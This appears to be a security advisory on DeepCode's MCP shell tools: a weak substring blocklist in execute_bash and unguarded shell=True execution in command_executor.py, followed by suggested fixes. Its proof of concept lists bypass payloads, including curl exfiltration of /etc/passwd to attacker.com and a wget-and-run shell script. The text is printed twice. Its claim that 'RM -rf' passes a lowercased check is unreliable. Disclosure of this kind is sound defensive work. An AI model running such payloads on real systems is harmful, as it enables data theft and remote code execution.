VULNERABILITY
The MCP tool execute_bash in code_implementation_server.py ships with a 5-entry substring blocklist that is trivially bypassed by case variation, double-spacing, Python indirection, and any unblocked command (curl, wget, nc, etc.). The blocklist creates a false sense of security — its existence implies security intent that the implementation fails to deliver.
A second tool, execute_commands / execute_single_command in command_executor.py, has no blocklist at all. Raw caller-supplied commands pass directly to subprocess.run(command, shell=True).
Vulnerable Code — code_implementation_server.py
# Lines 775-776 — blocklist defined
dangerous_commands = ["rm -rf", "sudo", "chmod 777", "mkfs", "dd if="]
if any(dangerous in command.lower() for dangerous in dangerous_commands):
# returns error
# Lines 789-793 — unblocked commands execute with shell=True
result = subprocess.run(
command,
shell=True,
cwd=WORKSPACE_DIR,
capture_output=True,
timeout=timeout,
...
)
Vulnerable Code — command_executor.py
# Lines 281-283 — NO blocklist, raw shell execution
result = subprocess.run(
command,
shell=True,
cwd=working_directory,
...
)
PROOF OF CONCEPT — Blocklist Bypass Payloads
[PASSES BLOCKLIST] id
→ arbitrary command execution, no match in blocklist
[PASSES BLOCKLIST] curl http://attacker.com/exfil?data=$(cat /etc/passwd)
→ data exfiltration via out-of-band channel
[PASSES BLOCKLIST] python3 -c "import os; os.system('id')"
→ indirection through Python interpreter
[PASSES BLOCKLIST] RM -rf /tmp/test
→ double-space + uppercase bypasses "rm -rf" substring match
[PASSES BLOCKLIST] wget http://attacker.com/shell.sh -O /tmp/x && bash /tmp/x
→ multi-stage payload delivery, fully unblocked
All payloads verified against the exact blocklist logic at commit b9ece60. The blocklist catches 0 of the above 5 payloads.
Note: SUDO (all-caps) and Chmod 777 are coincidentally blocked by the .lower() call in the existing check — but this illustrates the inconsistency: some case variants are blocked, others are not, and the protection surface is narrowly defined by 5 static strings.
IMPACT
Any user running DeepCode as an MCP server is exposed to arbitrary OS command execution via the execute_bash or execute_commands tools. The blocklist provides a false sense of safety — users deploying this on a shared host or in a multi-user environment may assume the blocklist prevents abuse.
The dual-file surface is the key issue: even if execute_bash were fixed, command_executor.py's execute_commands / execute_single_command tools operate with no protection at all.
With 15,309 stars and a PyPI package (deepcode-hku@1.2.0), this affects a significant population of AI coding-agent deployments.
SUGGESTED FIX
Option 1 — Honest documentation (remove false security):
Remove the blocklist entirely and document clearly: "These tools execute arbitrary shell commands. Deploy only in an isolated container environment. Do not expose to untrusted input."
Option 2 — Real sandboxing (replace false security with actual protection):
Replace subprocess.run(shell=True) with Docker-isolated execution, a seccomp profile, or a dedicated sandbox runtime. Examples: docker run --rm --network none ..., or bubblewrap for namespace isolation.
Option 3 — Disable shell interpolation:
Use subprocess.run(shlex.split(command), shell=False, ...) to eliminate shell metacharacter interpretation. This does not fully prevent dangerous commands but eliminates injection chaining via &&, ;, |, $().
The false-security pattern is the reportable issue regardless of the "by-design code agent" framing — either make the protection real or remove the implication that protection exists.
REFERENCES
code_implementation_server.py blocklist:
|
dangerous_commands = ["rm -rf", "sudo", "chmod 777", "mkfs", "dd if="] |
|
if any(dangerous in command.lower() for dangerous in dangerous_commands): |
|
result = { |
|
"status": "error", |
|
"message": f"Dangerous command execution prohibited: {command}", |
|
} |
|
log_operation( |
|
"execute_bash_blocked", |
|
{"command": command, "reason": "dangerous_command"}, |
|
) |
|
return json.dumps(result, ensure_ascii=False, indent=2) |
|
|
|
# Ensure workspace directory exists |
|
ensure_workspace_exists() |
|
|
|
# Execute command |
|
result = subprocess.run( |
|
command, |
|
shell=True, |
command_executor.py no-protection path:
|
result = subprocess.run( |
|
command, |
|
shell=True, |
- PyPI package: https://pypi.org/project/deepcode-hku/
VULNERABILITY
The MCP tool
execute_bashincode_implementation_server.pyships with a 5-entry substring blocklist that is trivially bypassed by case variation, double-spacing, Python indirection, and any unblocked command (curl,wget,nc, etc.). The blocklist creates a false sense of security — its existence implies security intent that the implementation fails to deliver.A second tool,
execute_commands/execute_single_commandincommand_executor.py, has no blocklist at all. Raw caller-supplied commands pass directly tosubprocess.run(command, shell=True).Vulnerable Code —
code_implementation_server.pyVulnerable Code —
command_executor.pyPROOF OF CONCEPT — Blocklist Bypass Payloads
All payloads verified against the exact blocklist logic at commit
b9ece60. The blocklist catches 0 of the above 5 payloads.Note:
SUDO(all-caps) andChmod 777are coincidentally blocked by the.lower()call in the existing check — but this illustrates the inconsistency: some case variants are blocked, others are not, and the protection surface is narrowly defined by 5 static strings.IMPACT
Any user running DeepCode as an MCP server is exposed to arbitrary OS command execution via the
execute_bashorexecute_commandstools. The blocklist provides a false sense of safety — users deploying this on a shared host or in a multi-user environment may assume the blocklist prevents abuse.The dual-file surface is the key issue: even if
execute_bashwere fixed,command_executor.py'sexecute_commands/execute_single_commandtools operate with no protection at all.With 15,309 stars and a PyPI package (
deepcode-hku@1.2.0), this affects a significant population of AI coding-agent deployments.SUGGESTED FIX
Option 1 — Honest documentation (remove false security):
Remove the blocklist entirely and document clearly: "These tools execute arbitrary shell commands. Deploy only in an isolated container environment. Do not expose to untrusted input."
Option 2 — Real sandboxing (replace false security with actual protection):
Replace
subprocess.run(shell=True)with Docker-isolated execution, a seccomp profile, or a dedicated sandbox runtime. Examples:docker run --rm --network none ..., orbubblewrapfor namespace isolation.Option 3 — Disable shell interpolation:
Use
subprocess.run(shlex.split(command), shell=False, ...)to eliminate shell metacharacter interpretation. This does not fully prevent dangerous commands but eliminates injection chaining via&&,;,|,$().The false-security pattern is the reportable issue regardless of the "by-design code agent" framing — either make the protection real or remove the implication that protection exists.
REFERENCES
code_implementation_server.pyblocklist:DeepCode/tools/code_implementation_server.py
Lines 775 to 793 in b9ece60
command_executor.pyno-protection path:DeepCode/tools/command_executor.py
Lines 281 to 283 in b9ece60